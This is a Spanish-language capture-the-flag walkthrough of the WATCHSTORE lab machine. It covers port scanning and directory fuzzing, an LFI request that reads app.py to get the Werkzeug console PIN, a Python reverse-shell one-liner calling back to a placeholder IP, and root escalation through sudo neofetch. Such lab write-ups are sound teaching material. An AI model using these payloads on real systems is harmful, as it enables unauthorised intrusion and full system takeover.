Resolución del CTF WATCHSTORE
Enumeración
Escaneo de puertos
Realizamos un escaneo de todos los puertos para saber cuáles están activos.
sudo nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.101Los parámetros utilizados son:
- -p-: Escaneo de todos los puertos (65535)
- –open: Solo muestra puertos abiertos
- -sCV: Combina -sC (scripts por defecto) y -sV (detección de versiones)
- -Pn: Deshabilitamos el descubrimiento de host mediante ping
- -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario
- –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
8080/tcp open http Werkzeug httpd 2.1.2 (Python 3.11.2)
|_http-title: Did not follow redirect to http://watchstore.thl:8080/
|_http-server-header: Werkzeug/2.1.2 Python/3.11.2Nos encontramos con dos puertos abiertos, el puerto 22 con SSH OpenSSH 9.2p1 y el puerto 8080 con un servidor web Werkzeug 2.1.2 con Python 3.11.2.
Configuración del Fichero Hosts
Como observamos en el escaneo, el puerto 8080 solicita el acceso mediante el dominio: watchstore.thl
sudo nano /etc/hostsExploración Web
Al acceder al servidor web nos encontramos con una página que hace la función de una galería de fotos sobre relojes.
Enumeración de Directorios
Con la herramienta Gobuster, realizamos un fuzzing de directorios para obtener las rutas web que no están a la vista dentro del dominio.
gobuster dir -u http://watchstore.thl:8080 -w /usr/share/wordlists/directory-list-lowercase-2.3-medium.txt -x html,php,txt,py,shEncontramos los siguientes directorios:
- /products (Status: 200)
- /read (Status: 500)
- /console (Status: 200)
El fichero /read nos muestra un error ocurrido por una excepción lanzada por la falta de un parámetro llamado: id. Además nos indica que el fichero se encuentra en la ruta: /home/relox/watchstore/app.py
El fichero /console nos muestra una consola bloqueada que puede ejecutar código Python, y nos indica que el PIN se encuentra en la salida estándar del servidor.
Explotación LFI
Tomando en cuenta que existe una consola Python expuesta y que el módulo read posee una excepción con parámetro conocido, podemos aprovechar un LFI para leer el archivo app.py y obtener el PIN.
Comprobamos el código del fichero app.py:
http://watchstore.thl:8080/read?id=/home/relox/watchstore/app.pyEncontramos el PIN de la consola en el código fuente.
Reverse Shell
Introducimos el PIN en la página de bloqueo de la consola.
Ponemos el puerto 4444 en escucha:
nc -lvnp 4444Ejecutamos comandos del sistema con el módulo os de Python en la consola:
import socket,os,pty;s=socket.socket();s.connect(("TU_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")Y obtenemos acceso a la máquina como el usuario relox.
Tratamiento de la TTY
Creamos una grabación de sesión en una bash:
script /dev/null -c bashSuspendemos nuestra sesión actual con Ctrl + Z y configuramos nuestra stty:
stty raw -echo; fg
reset xtermImportamos las variables de entorno:
export TERM=xterm
export SHELL=/bin/bashEscalada de Privilegios
Verificamos qué binarios se pueden ejecutar con permisos de otros usuarios:
sudo -lVemos que podemos ejecutar con el usuario root y sin contraseña el binario /usr/bin/neofetch.
Al consultar GTFOBins vemos que podemos escalar privilegios con neofetch.
Creamos y guardamos en una variable un directorio temporal único:
TF=$(mktemp)Inyectamos en la variable un script bash para ejecutar una shell bash:
echo 'exec /bin/bash' >$TFSustituimos el fichero de configuración de neofetch por el que creamos:
sudo neofetch --config $TFY nos convertimos en root.
